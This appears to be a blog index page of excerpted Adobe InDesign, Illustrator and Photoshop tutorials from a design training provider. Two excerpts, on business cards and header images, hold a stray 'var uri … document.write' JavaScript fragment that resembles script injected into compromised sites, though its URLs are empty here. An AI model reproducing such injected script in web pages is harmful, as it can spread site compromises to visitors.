Business Boost with InDesign: Why take up a Course?

Forget everything you know about paint or word. Using InDesign for your business has so many more benefits including appearing far more professional. I have put this article together to give you an idea of just how handy and creative this initiative program really is. Digital marketing is rife in the industry and by cultivating this, you can really open up a whole world of business opportunities, and the recognition you’re looking for. There are a lot of great free resources out there for creating graphics for your blog or business, and these can be a good avenue for beginners. But as...
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Funded Photoshop, InDesign & Illustrator Training Courses in Leeds

Adobe InDesign Training Course in Leeds
  Creative Studios Derby is registered to deliver Adobe Software Training for the LEP Skills Service. This new service from the Leeds City Region Enterprise Partnership (LEP) helps businesses to identify their skills needs based on their business growth objectives and then find the right training solution. Small and medium-sized business based in the Leeds City Region that have a budget to put towards training could be eligible for funding of between £500 and £50,000. To find out more about the LEP Skills Service and apply, visit: The types of training ...
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Design a Logo in Illustrator

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Ilustrator is an initiative and nifty programme created for those with a love for design and graphics. Illusrators numerous incorporated tools allow the user to create unique and intricate designs. Logo design in Illustrator offers an array of tools, enhancing your creativity, being the best program to use for your artistic designs. Pen Tool for Shape Design Ok so, with the pen tool requires practice, patience, practice and more practice. Undertanding the pen tool can really benefit and aid creative design. Lets start by navigating to the left hand side on the tools panel....
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Adobe Illustrator for Beginners

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Welcome to the world of Illustrator, filled with paths, shapes and other words you probably haven’t heard of unless you’re an Adobe familiar. This blog demonstrates some of the basic tools in Illustrator for beginners. First glance at this program can be intimidating (as with most Adobe applications), however if you have already used other Adobe programs, you should be able to recognise a few things within the programs features such as the Tools Panel and Control Panel. If you are serious about using Illustrator for your artwork, I would hugely recommend investing in a graphics tablet...
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Creating a Professional Document in InDesign

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Searching through hundreds of websites to find a decent template to use for your document can be time consuming and stressful. Many different websites ask you to ‘sign up for this free template’ or ‘pay X amount of money each month’, its hard to know which ones to settle for. To combat this occasional battle, I will teach you how to create a simple, yet professional document in InDesign. These can be reports, certificates, workbooks etc. Using tools in InDesign provide the foundations of creating a sleek, easy to read, easy to print functionality with the flexibility to be transferred el...
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How to Make a Presentation using the Free Adobe Voice App

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The Why’s and What’s? Lets start by answering this question - why use Adobe Voice for business? The first bit of good news is that this nifty little app, is free! And by the looks of things that will not be changing anytime soon. The Adobe Voice interface is quick and easy to use, enabling you to create simple presentations and/or introductions in minutes. This can be hugely beneficial when pitchng a client on the latest products and services that you offer, or for that dreaded board meeting where it's necessary to create simple, informative presentations to impress the executive memb...
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Getting Started with Adobe InDesign

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InDesign is one of the most important tools for various design-related occupational uses. Whether it be magazines, brochures, packaging, posters or flyers, or you would like to create more corporate documents, such as importing graphical and table data, or creating documents and forms for PDF print. The program is also heavily used for text documents such as Kindle books and for creating readable file formats to keep up-to-date with the ever-growing digital environment. InDesign and other Adobe programs use similar formats and layouts across their products, therefore making things that l...
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How to Create a Professional Business Card in Photoshop

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Despite living in a digital world, a professional business card can be critical to the development of your business. Business cards are an effective way of getting your name out there and to connect with business prospects. So play your cards right (pun completely intended) and you could save money, build your brand and become better known in your niche. var uri = '' + new String (Math.random()).substring (2, 11); document.write(''); In this step-by-step tutorial, I’ll show you how to make your very own simple marketing...
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How to Create a Header Image in Photoshop

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Content and imagery traditionally complement each other and are the catalysts for drawing in a reader, engaging and educating. Creating a header image in Photoshop requires creativity, experimentation and patience. I will show you some of the great ways you can create appealing, unique and interesting header images that will get people reading your content by using a few basic tools in order to create a header image in Photoshop. var uri = '' + new String (Math.random()).substring (2, 11); document.write(''); Create a Head...
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How to Create Business New Year Ecards with Photoshop

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For many years we’ve been told that the paperless office is coming and to some extent, it has reached us in the form of better communication methods such as email, video conferencing and instant messages. Many businesses still do it the old fashioned way and I would be willing to bet that every reader that works in an office (or even on a builder’s yard) will still receive holiday cards in the New Year. It’s an ideal opportunity of course to congratulate your clients on another year, cement relationships and show your appreciation for their ongoing business. This may indeed be good for b...
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